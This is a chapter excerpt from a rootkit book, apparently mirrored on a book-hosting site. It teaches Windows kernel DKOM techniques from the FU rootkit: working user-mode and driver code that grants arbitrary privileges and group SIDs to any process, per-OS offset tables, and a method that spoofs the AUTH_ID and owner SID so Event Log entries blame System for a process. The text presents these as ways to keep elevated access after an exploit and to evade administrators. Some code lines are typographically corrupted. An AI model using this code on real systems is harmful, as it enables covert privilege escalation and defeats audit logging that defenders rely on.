Token Privilege and Group Elevation with DKOM

 < Day Day Up > 

A process's token is all-important when it comes to determining what the process is allowed and not allowed to do. A process's token is derived from the log-on session of the user that spawned the process. Every thread within a process can have its own token; however, most threads use their default process token.

One important goal of a rootkit writer is to gain elevated access. This section covers gaining elevated privilege for a normal process once your rootkit has already been installed. This is useful because you want to exploit only once, install your rootkit, and then return under more-normal circumstances so that your original vector of entry is not discovered.

The code in this section will deal only with a process's token; however, it could easily be applied to a thread's token. The only difference is how you would locate the token in question. All the rest of the techniques and code remain the same.

Modifying a Process Token

To modify a process token, the Win32 API provides several functions, including OpenProcessToken(), AdjustTokenPrivileges(), and AdjustTokenGroups(). All of these functions, and the others that modify process tokens, require certain privileges, such as TOKEN_ADJUST_GROUPS and TOKEN_ADJUST_PRIVILEGES. This section covers a way to add privileges and groups to a process's token without any special privileged access to the process's token. Once your rootkit is installed, DKOM is the only "privilege" you need to understand.

Finding the Process Token

Using the FindProcessEPROC function from the Process Hiding subsection earlier in this chapter to find the address of the EPROCESS structure of the process whose token your rootkit will modify, add the token offset to it. The result will be the location within the EPROCESS containing the address of the token. Use the information in Table 7-2 as a guide.

Table 7-2. Offsets to token pointer within the EPROCESS block.
 

Windows NT

Windows 2000

Windows XP

Windows XP SP 2

Windows 2003

Token Offset

0x108

0x12c

0xc8

0xc8

0xc8


The member of the EPROCESS structure containing the address of the token was changed between Windows 2000 (and prior versions) and the newer Windows XP (and later versions). It is now an _EX_FAST_REF structure, which is defined as follows:

 typedef struct _EX_FAST_REF {     union {         PVOID Object;         ULONG RefCnt : 3;         ULONG Value;     }; } EX_FAST_REF, *PEX_FAST_REF; 

To find the process token, use the following FindProcessToken function:

 DWORD FindProcessToken (DWORD eproc) {    DWORD token;    __asm {       mov eax, eproc;       add eax, TOKENOFFSET; // offset of token pointer in EPROCESS       mov eax, [eax];       and eax, 0xfffffff8; // See definition of _EX_FAST_REF.       mov token, eax;    }    return token; } 

You will notice that within the inline assembly we drop the last 3 bits of the token address with the instruction and eax, fffffff8. As it turns out, token addresses always end with the last three bits equal to zero; therefore, although the member that represents the token address has changed, we still can recover the address of the token and it will not hurt anything if we change the last three bits on older versions of the OS.

Modifying the Process Token

Tokens are very difficult to modify. They are composed of static and variable parts. The static portion does not change in size (hence its name). It has a well-defined structure. The variable part is much less predictable. It contains all the privileges and SIDs belonging to the token. The exact number of these varies depending on the credentials of the user who created the process (or whom the process is impersonating).

While reading the following code, it will help if you keep in mind the structure of a token, as illustrated in Figure 7-4.

Figure 7-4. Memory structure of a process token.


Within a token are many offsets to information you will need in order to modify the token. For instance, if you add a privilege or a group SID to the token, you must increment the part of the static portion of the token that stores the count. As previously mentioned, all the privileges and SIDs are stored in the variable portion of the token, since their size can vary from token to token. One of the offsets in the token contains the address of the variable portion of the token and its length. You will need these when you add information. Table 7-3 lists most of the offsets you will use in your rootkit.

Table 7-3. Important offsets within the process token.
 

Windows NT 4.0

Windows 2000

Windows XP

Windows XP SP 2

Windows 2003

AUTH_ID Offset

0x18

0x18

0x18

0x18

0x18

SID Count Offset

0x30

0x3c

0x40

0x4c

0x4c

SID Address Offset

0x48

0x58

0x5c

0x68

0x68

Privilege Count Offset

0x34

0x44

0x48

0x54

0x54

Privilege Address Offset

0x50

0x64

0x68

0x74

0x74


Adding Privileges to a Process Token

To add a new privilege or enable a currently disabled privilege in a process token, we can use a user-level program to send IOCTLs to our rootkit. A userland portion is very useful for this application because many of the Win32 APIs that deal with tokens, privileges, and SIDs are not documented in the kernel.

The rootkit in the kernel will take the privilege information received from the user-mode program and write it directly to memory. In this case, the memory that is changed is the privilege portion of the targeted process token. Remember that because we are not going through the Windows Object Manager when we write directly to memory, we can assign a process token whatever privileges and groups we want.

Before we can tell the rootkit what privileges to add or enable in a given process, we must know a little about token privileges. Following are some privileges listed in ntddk.h. (Not all of these apply to processes.)

  • SeCreateTokenPrivilege

  • SeAssignPrimaryTokenPrivilege

  • SeLockMemoryPrivilege

  • SeIncreaseQuotaPrivilege

  • SeUnsolicitedInputPrivilege

  • SeMachineAccountPrivilege

  • SeTcbPrivilege

  • SeSecurityPrivilege

  • SeTakeOwnershipPrivilege

  • SeLoadDriverPrivilege

  • SeSystemProfilePrivilege

  • SeSystemtimePrivilege

  • SeProfileSingleProcessPrivilege

  • SeIncreaseBasePriorityPrivilege

  • SeCreatePagefilePrivilege

  • SeCreatePermanentPrivilege

  • SeBackupPrivilege

  • SeRestorePrivilege

  • SeShutdownPrivilege

  • SeDebugPrivilege

  • SeAuditPrivilege

  • SeSystemEnvironmentPrivilege

  • SeChangeNotifyPrivilege

  • SeRemoteShutdownPrivilege

  • SeUndockPrivilege

  • SeSyncAgentPrivilege

  • SeEnableDelegationPrivilege

You can use Process Explorer from Sysinternals[1] to view the current privileges of a process. Notice in Figure 7-5 that many privileges come disabled by default.

[1] Process Explorer may be found at: www.sysinternals.com/ntw2k/freeware/procexp.shtml

Figure 7-5. Security settings contained in a process's token.


The fact that many privileges are disabled by default when a token is created will prove useful in order to add privileges and groups to a process token. The reason is that when overwriting memory directly, you must be extremely careful. You cannot simply grow the token in size, because you do not know what is contained in the memory directly following the process's token. For all you know, that memory may not even be a valid region. By enabling or overwriting privileges that are already contained in the token but are disabled, you can avoid increasing the token's size. We will come back to this point in a moment.

Rootkit.com

As with most of the source code in this chapter, you can download the following code in the form of the FU rootkit from: www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip


The following code is main() in the userland program. It receives the -prs (Privilege Set) option from the user, the PID of the target process, and the privileges to add to the token. For example, fu -prs 8 SeDebugPrivilege SeShutdownPrivilege will add the Debug and Shutdown privileges to the token of the process with PID 8. We create an array of the length of the number of command-line arguments minus three (for fu, -prs, and the PID). Each element of the array is 32 bytes long (we do not know the length of every possible privilege, but 32 seems to be more than large enough for all privileges currently possible). We then pass the PID, priv_array, and size of the array to the SetPriv function, which does the rest of the user-level work.

 void main(int argc, char **argv) {    int i = 25;    if (argc > 1)    {       if (InitDriver() == -1)          return;       if (strcmp((char *)argv[1], "-prl") == 0)          ListPriv();       else if (strcmp((char *)argv[1], "-prs") == 0)       {          char *priv_array = NULL;          DWORD pid = 0;          if (argc > 2)             pid = atoi(argv[2]);          priv_array = (char *)calloc(argc-3, 32);          if (priv_array == NULL)          {             fprintf(stderr, "Failed to allocate memory!\n");             return;          }          int size = 0;          for(int i = 3; i < argc; i++)          {             if(strncmp(argv[i], "Se", 2) == 0)             {                strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);                size++;             }          }          SetPriv(pid, priv_array, size*32);          if(priv_array)          free(priv_array);       } ... 

In the preceding code, we check whether each new privilege name begins with "Se," which is true for every valid privilege. Next, we copy the valid new privileges into an array and call the SetPriv function, which will eventually communicate with the rootkit driver using an IOCTL.

SetPriv() allocates and initializes an array of LUID_AND_ATTRIBUTES. Every privilege named in the list shown earlier in this subsection has a corresponding LUID (Locally Unique Identifier). Because these LUIDs are locally unique, we cannot hard-code them into our rootkit. LookupPrivilegeValue() takes the name of the system in which to look up the privilege value, which in our case is NULL; the name of the privilege passed to the user program from the command line; and a pointer for receiving the LUID value. Note that according to the Microsoft SDK, "An LUID is a 64-bit value guaranteed to be unique only on the system on which it was generated," but it is not guaranteed to remain constant between reboots.

The attributes define whether a privilege associated with a given LUID is enabled or disabled. The mere fact that a privilege is present in a token does not mean the process has that privilege. A privilege may be in one of three states, as specified by its attribute:

  • #define SE_PRIVILEGE_DISABLED (0x00000000L)

  • #define SE_PRIVILEGE_ENABLED_BY_DEFAULT (0x00000001L)

  • #define SE_PRIVILEGE_ENABLED (0x00000002L)

SetPriv() creates an array of LUID_AND_ATTRIBUTES to pass to the driver. Here is an example of the LUID_AND_ATTRIBUTES structure:

 typedef struct _LUID_AND_ATTRIBUTES {      LUID   Luid;      DWORD  Attributes; } LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES; 

Setting the LUID member to the value returned by LookupPrivilegeValue and setting the Attribute to SE_PRIVILEGE_ENABLED_BY_DEFAULT initializes the array appropriately, making it ready to be passed to the rootkit. We do so using the DeviceIoControl function with the IOCTL_ROOTKIT_SETPRIV parameter:

 DWORD SetPriv(DWORD pid, void *priv_luids, int priv_size) {    DWORD d_bytesRead;    DWORD success;    PLUID_AND_ATTRIBUTES pluid_array;    LUID pluid;    VARS dvars;    if (!Initialized)       return ERROR_NOT_READY;    if (priv_luids == NULL)       return ERROR_INVALID_ADDRESS;    pluid_array = (PLUID_AND_ATTRIBUTES) calloc(priv_size/32, sizeof(LUID_AND_ATTRIBUTES));    if (pluid_array == NULL)       return ERROR_NOT_ENOUGH_MEMORY;    DWORD real_luid = 0;    for (int i = 0; i < priv_size/32; i++)    {       if(LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32),                               &pluid))       {          memcpy(pluid_array+i, &pluid, sizeof(LUID));         *(pluid_array+i)).Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT;          real_luid++;       }    }    dvars.the_pid = pid;    dvars.pluida = pluid_array;    dvars.num_luids = real_luid;    success = DeviceIoControl(gh_Device,                              IOCTL_ROOTKIT_SETPRIV,                              (void *) &dvars,                              sizeof(dvars),                              NULL,                              0,                              &d_bytesRead,                              NULL);    if(pluid_array)       free(pluid_array);    return success; } 

The kernel code contains the handler for the IOCTL_ROOTKIT_SETPRIV IOCTL. It receives the array of LUID_AND_ATTRIBUTES and the PID of the process to which they are to be added. It calls FindProcessEPROC to locate the EPROCESS structure with the corresponding PID, and FindProcessToken to locate the address of the process token.

Now that we have the token, we need to get the size of the current LUID_AND_ATTRIBUTES array contained in the token. We do this by reading the value contained at the privilege-count offset. This value will be very important soon (see the for loops in the upcoming code).

Next, we get the address of the start of the LUID_AND_ATTRIBUTES array. Remember that a token is composed of a fixed-length part and a variable-length part. The beginning of the LUID_AND_ATTRIBUTES array is the beginning of the variable-length part of the token. Both parts are contiguous in memory.

With the address of the LUID_AND_ATTRIBUTES array in the token, the privilege count, and the new LUID_AND_ATTRIBUTES to add, we can continue to look at the following rootkit code. We cannot allocate new memory for our new privileges, and we cannot grow the token (since the memory location following the token may not be valid).

Recall that, as shown in the output from Process Explorer in Figure 7-5, most of the privileges present in a typical token are disabled. Why do we need to keep disabled privileges around?

The idea is to turn a privilege on if it matches one of the LUID_AND_ATTRIBUTES passed down to the rootkit, or to overwrite a disabled privilege with a requested one if the existing privilege is not a member of the new LUID_AND_ATTRIBUTES array. To do this, we have created two sets of nested for loops. The first for loop examines every privilege that was passed to the rootkit, and if it matches a privilege already contained in the token, it sets the attribute to enabled. The second for loop is used if the privilege is not found in the token but there are other disabled privileges that we can overwrite. Using this algorithm, you can add privileges to the token without using more memory.

 // If the new privilege already exists in the token, just change its // Attribute field. for (luid_attr_count = 0; luid_attr_count < d_PrivCount;      luid_attr_count++) {    for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)    {       if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&           (memcmp(&luids_attr_orig[luid_attr_count].Luid,           &luids_attr[d_LuidsUsed].Luid, sizeof(LUID)) == 0))       { (PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes = ((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes; ((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes = 0xffffffff;       }    } } // Okay, we did not find one of the new Privileges in the set of existing // privileges, so we find other disabled privileges and // overwrite them. for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++) {    if (((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes != 0xffffffff)    {       for (luid_attr_count = 0; luid_attr_count < d_PrivCount; luid_attr_count++)       {          // If the privilege was disabled anyway, it was not needed,          // so we reuse its space for new privileges we want          // to add. We may not be able to add all the privileges we request          // because of space limitations, so we should organize the new          // privileges in decreasing order of importance.          if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) && (((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count]. Attributes == 0x00000000))          { ((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Luid =  ((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Luid; ((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes = ((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes; ((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes = 0xffffffff;          }       }    } } break; 

Adding SIDs to a Process Token

Adding SIDs to a token is the most difficult modification we can make. Because of the space limitations mentioned in the preceding subsections, you will need to follow the basic algorithm of using the disabled privileges already present in a process token as placeholders for the new SIDs.

The process token contains more information about a SID than just the SID itself. For example, there is a table of SID_AND_ATTRIBUTES structures, much like the table relating to privileges. The first member of that structure is simply a pointer to the SID in memory. To add a SID to a token, you will need to add one more entry to the SID_AND_ATTRIBUTE table, add the SID itself, and recalculate all the pointers in the table to compensate for the changes you have made in memory.

Here is the SID_AND_ATTRIBUTE structure:

 typedef struct _SID_AND_ATTRIBUTES {      PSID   Sid;      DWORD  Attributes; } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; 

In order to keep things clear, it is best to start with a clean space of memory the same size as the variable portion of the token. You can allocate this space in the paged pool for now. When you are finished, you will copy it back over the existing variable portion of the token and free the scratch space. You will also need the counts of privileges and SIDs, the locations of SID and privilege tables, and the beginning and size of the variable part of the token.

Given the address of the token, the following code initializes these required variables and allocates the scratch space:

    i_PrivCount     = *(int *)(token + PRIVCOUNTOFFSET);    i_SidCount      = *(int *)(token + SIDCOUNTOFFSET);    luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);    varbegin        = (PVOID) luids_attr_orig;    i_VariableLen   = *(int *)(token + PRIVCOUNTOFFSET + 4);    sid_ptr_old     = *(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET);    // This will be our temporary workspace.    varpart = ExAllocatePool(PagedPool, i_VariableLen);    if (varpart == NULL)    {       IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;       break;    }    RtlZeroMemory(varpart, i_VariableLen); 

Next, the rootkit frees up memory in the token by copying only the enabled privileges to the temporary workspace, varpart. If you keep a count of the privileges copied over, you will know exactly how much space was freed up.

The situation could arise in which the amount of room freed in the token is not enough to hold the new SID and its SID_AND_ATTRIBUTES structure. In such a case, you have a few choices. Your rootkit could simply return an error stating that there are insufficient resources in the token to add a SID. The following code does this.

Alternatively, you could overwrite some of the enabled privileges with the new SID. This could have adverse effects, however. If you overwrite a privilege in the token that is needed by a process, the process may no longer function properly.

Also, since Windows 2000 it has been possible for restricted SIDs to exist at the end of the variable portion of a token. The function of these is to explicitly restrict certain users or groups from being able to take certain actions. Although they are rarely if ever used, it is possible for restricted SIDs to be present. Like a disabled privilege, a restricted SID is not of much value to your process token, so you can modify the algorithm to also reclaim space used by restricted SIDs.

    // Copy only the enabled privileges. We will overwrite the    // disabled privileges to make room for the new SID.    for(luid_attr_count=0;luid_attr_count<i_PrivCount; luid_attr_count++)    { if(((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes != SE_PRIVILEGE_DISABLED)       {         ((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Luid = ((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Luid; ((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Attributes = ((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes;         i_LuidsUsed++;       }    }    // Calculate the space we need within the existing token.    i_spaceNeeded = i_SidSize + sizeof(SID_AND_ATTRIBUTES);    i_spaceSaved  = (i_PrivCount - i_LuidsUsed)*  sizeof(LUID_AND_ATTRIBUTES);    i_spaceUsed   = i_LuidsUsed * sizeof(LUID_AND_ATTRIBUTES);    // There is not enough room for the new SID. Note: We are ignoring    // any restricted SIDs. They may also be a portion of the    // variable-length part.    if (i_spaceSaved  < i_spaceNeeded)    {       ExFreePool(varpart);       IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;       break;    } 

The following code copies all the existing SID_AND_ATTRIBUTES structures into the temporary workspace. The for loop walks through the table, making the proper adjustments to the pointers to the SIDs.

    RtlCopyMemory((PVOID)((DWORD)varpart+i_spaceUsed),                  (PVOID)((DWORD)varbegin + (i_PrivCount *                   sizeof(LUID_AND_ATTRIBUTES))), i_SidCount *                   sizeof(SID_AND_ATTRIBUTES));    for (sid_count = 0; sid_count < i_SidCount; sid_count++)    { ((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count].Sid = (PSID)(((DWORD) sid_ptr_old[sid_count].Sid) - ((DWORD) i_spaceSaved) + ((DWORD)sizeof(SID_AND_ATTRIBUTES))); ((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count] .Attributes = sid_ptr_old[sid_count].Attributes;    } 

You still need to set up the new SID_AND_ATTRIBUTES entry properly. Set its Attribute field to 0x00000007 to make the new SID mandatory. Since you are adding the new SID at the end of the existing SIDs, you must calculate the length of the final SID. Do this by taking the address of the start of the final SID, found in the last SID_AND_ATTRIBUTES entry, and subtract it from the total length of the variable portion of the token. (We ignore the potential presence of restricted SIDs in this token.) With the length of the final SID before the modification, you can calculate the value of the pointer to the new SID:

    // Set up the new SID_AND_ATTRIBUTES properly.    SizeOfLastSid = (DWORD)varbegin + i_VariableLen;    SizeOfLastSid = SizeOfLastSid - (DWORD)  ((PSID_AND_ATTRIBUTES)sid_ptr_old)[i_SidCount-1].Sid; ((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Sid = (PSID)((DWORD)((PSID_AND_ATTRIBUTES) ((DWORD)varpart+(i_spaceUsed)))[i_SidCount-1].Sid + SizeOfLastSid);   ((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Attributes = 0x00000007; 

You are almost finished. Copy the scratch space, varpart, into the existing token. Now your rootkit has added all the enabled privileges and all the SID_AND_ATTRIBUTES entries. Just copy the new SID into place at the end of the previously existing SIDs:

   // Copy the old SIDs, but make room for the new.   // SID_AND_ATTRIBUTES   SizeOfOldSids = (DWORD)varbegin + i_VariableLen;   SizeOfOldSids = SizeOfOldSids - (DWORD) ((PSID_AND_ATTRIBUTES)sid_ptr_old)[0].Sid;   RtlCopyMemory((VOID UNALIGNED *)((DWORD)varpart +                 (i_spaceUsed)+((i_SidCount+1)*                 sizeof(SID_AND_ATTRIBUTES))),                 (CONST VOID UNALIGNED*)                 ((DWORD)varbegin+(i_PrivCount *                 sizeof(LUID_AND_ATTRIBUTES))+(i_SidCount*                 sizeof(SID_AND_ATTRIBUTES))), SizeOfOldSids);   // Copy the new stuff right over the old data.   RtlZeroMemory(varbegin, i_VariableLen);   RtlCopyMemory(varbegin, varpart, i_VariableLen);   // Copy the new SID at the end of the old SIDs.   RtlCopyMemory(((PSID_AND_ATTRIBUTES)((DWORD)varbegin +  (i_spaceUsed)))[i_SidCount].Sid, psid, i_SidSize); 

The only steps remaining are to fix the counts and pointers in the static portion of the token, and to free the memory corresponding to the scratch space. Since you changed the number of SIDs and privileges in the token, you need to modify their offsets. The location of the LUID_AND_ATTRIBUTE table does not change because it is at the beginning of the variable part, but the pointer to the SID_AND_ATTRIBUTE table needs to be updated since you moved it in memory:

   // Fix the token back up.   *(int *)(token + SIDCOUNTOFFSET) += 1;   *(int *)(token + PRIVCOUNTOFFSET) = i_LuidsUsed;   *(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET) =         (PSID_AND_ATTRIBUTES)((DWORD) varbegin + (i_spaceUsed));   ExFreePool(varpart);   break; 

Now your rootkit has the power to add any privilege and any group SID to any process on the system. But adding SIDs has an interesting consequence when it comes to forensics. We discuss this ramification in the next section.

Faking out the Windows Event Viewer

Although you now know how to hide processes and gain elevated access, you do not know who is watching while you do these things. There are many different ways administrators can detect process creation. In the kernel, security software can even register a call-back function in the event of process creation. (Even this is subvertible, but we will not go into detail on that in this book.)

There is an easier way a savvy system administrator can determine what is happening on the machine. She can turn on detailed process logging. If this is done, the creation of new processes will be noted in the Windows Event Log. The log will include the name of the process being created, the parent PID, and the username that owns the parent process, and hence created the new process. In this section, we present a modification to the token to make this identification in the Event Log more difficult to detect.

At offset 0x18 within the process token is an LUID called the Authentication ID or AUTH_ID. (This offset does not change across versions of the OS.) Although LUIDs are supposed to be unique, some are hard-coded in the DDK in an .h file. They are:

  • #define SYSTEM_LUID 0x000003e7; // { 0x3e7, 0x0 }

  • #define ANONYMOUS_LOGON_LUID 0x000003e6; // { 0x3e6,0x0 }

  • #define LOCALSERVICE_LUID 0x000003e5; // { 0x3e5, 0x0 }

  • #define NETWORKSERVICE_LUID 0x000003e4; // { 0x3e4, 0x0 }

We can change the AUTH_ID in any process we choose to one of these well-known LUIDs. The AUTH_ID is unique for each log-on or session. The system uses them at times to associate a number with an individual log-on session, which has an account name.

WARNING:Be careful when you modify the AUTH_ID of a process token. If you change it to an LUID that does not have a corresponding log-on session, the Windows box will present a Blue Screen of Death!

If detailed process tracking is enabled, for every process created an event will be recorded in the Event Log that looks something like that shown in Figure 7-6.

Figure 7-6. Process-creation event in the Event Viewer.


In the Description portion of Figure 7-6, the username is Administrator, which is whom I was logged in as at the time; the domain is HBG-W2KS-0; and the Log-on ID (that is, the AUTH_ID) is 0x,0x1066C. This event log says the Administrator, the identity derived from the AUTH_ID, started the regedt32.exe process.

Now let us take a look at what the Event Viewer reports after we modify the parent process's token to change its AUTH_ID to the System LUID (0x3E7, 0x0), and its owner SID to the System SID. The owner SID is the first SID in the token group of SIDs. You learned in the preceding section how to change the token SIDs. Again, we will launch regedt32.exe from the cmd.exe process. The resulting Event Log entry is shown in Figure 7-7.

Figure 7-7. Process creation event after modifying the AUTH_ID and owner SID.


This time, the Event Viewer reports different information. In the description portion, the user name is said to be HBG-W2KS-0$, which is the alias for the System. The Log-on ID is the same as what we set the AUTH_ID to. Using this technique, your rootkit can make any process on the computer appear to belong to another user.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    Similar book on Amazon

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net